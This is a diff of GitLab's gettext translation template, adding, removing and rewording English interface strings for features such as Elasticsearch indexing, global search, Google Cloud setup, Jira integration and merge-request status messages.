msgstr ""
@@ -12661,6 +12895,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12682,6 +12919,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12781,9 +13021,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12835,6 +13072,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12856,6 +13096,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12928,6 +13171,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13102,6 +13348,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13186,16 +13438,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13435,9 +13684,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13486,9 +13732,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13825,7 +14068,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14008,9 +14251,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14128,6 +14368,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14203,6 +14449,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14320,6 +14572,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14386,6 +14641,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14398,9 +14656,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14842,6 +15097,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14938,15 +15196,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15025,6 +15274,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15238,6 +15490,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15343,9 +15598,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15619,9 +15871,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15793,6 +16042,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15856,6 +16108,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16027,6 +16282,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16174,7 +16474,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16231,6 +16543,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16495,7 +16810,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16795,6 +17110,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16972,7 +17293,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16987,7 +17311,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17086,6 +17413,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17353,7 +17683,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17392,6 +17722,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18172,7 +18505,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18337,9 +18673,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18403,6 +18736,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18619,12 +18955,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18742,6 +19084,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18757,6 +19102,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18787,7 +19138,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18844,7 +19198,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18982,22 +19336,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19012,9 +19363,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19033,9 +19381,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19222,6 +19567,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19297,6 +19645,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19354,16 +19705,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19372,9 +19720,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19468,6 +19813,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19477,6 +19825,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19573,9 +19924,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19600,9 +19957,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19711,18 +20065,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19741,18 +20086,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19762,6 +20101,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19771,12 +20113,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19807,9 +20143,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20107,6 +20440,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20452,7 +20788,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20557,6 +20893,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20602,6 +20941,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20746,9 +21088,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20776,13 +21115,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20800,6 +21139,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21016,7 +21358,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21097,7 +21439,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21310,6 +21652,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21328,6 +21673,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21535,9 +21883,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21700,6 +22045,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21715,6 +22066,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21760,22 +22114,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge requests that I'm a reviewer"
-msgstr ""
-
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21895,6 +22240,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22534,6 +22891,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22786,9 +23146,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22939,9 +23296,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22966,6 +23320,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23170,6 +23527,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23206,6 +23566,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23401,6 +23764,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23449,9 +23815,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23494,6 +23866,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23515,6 +23890,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23611,6 +23989,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23830,7 +24211,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23986,7 +24367,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24070,6 +24451,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24160,19 +24547,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24193,6 +24580,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24232,6 +24625,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24253,6 +24649,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24271,7 +24670,7 @@ msgstr ""
